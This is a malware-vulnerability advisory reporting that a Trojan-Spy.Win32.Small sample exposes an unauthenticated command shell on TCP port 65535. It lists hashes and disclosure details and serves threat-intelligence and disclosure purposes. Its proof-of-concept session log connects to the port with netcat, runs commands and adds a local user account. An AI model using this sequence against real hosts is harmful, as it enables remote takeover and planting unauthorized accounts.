📄 Trojan-Spy.Win32.Small MVID-2026-0705 Remote Command Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026
    Original source: https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt
    Malvuln Intelligence Feed: https://intel.malvuln.com/
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    Threat: Trojan-Spy.Win32.Small
    Vulnerability: Remote Command Execution
    Description: The malware opens a listener on TCP port 65535, allowing unauthenticated remote attackers with network access to execute arbitrary operating system commands on the infected host.
    Family: Small
    Type: PE32
    Attack-pattern TTP: Command and Scripting Interpreter (T1059)
    MD5: 8c15ec5f0137d097a345b693f0bffedb
    SHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b
    Vuln ID: MVID-2026-0705
    Disclosure: 04/20/2026
    
    Exploit/PoC:
    nc64.exe x.x.x.x 65535
    Microsoft Windows [Version 10.0.16299.309]
    (c) 2017 Microsoft Corporation. All rights reserved.
    
    C:\Users\victim\Desktop>whoami
    whoami
    desktop-2c3iqho\victim
    calc
    C:\>net user hubert abc123 /add
    net user hubert abc123 /add
    The command completed successfully.
    exit
    
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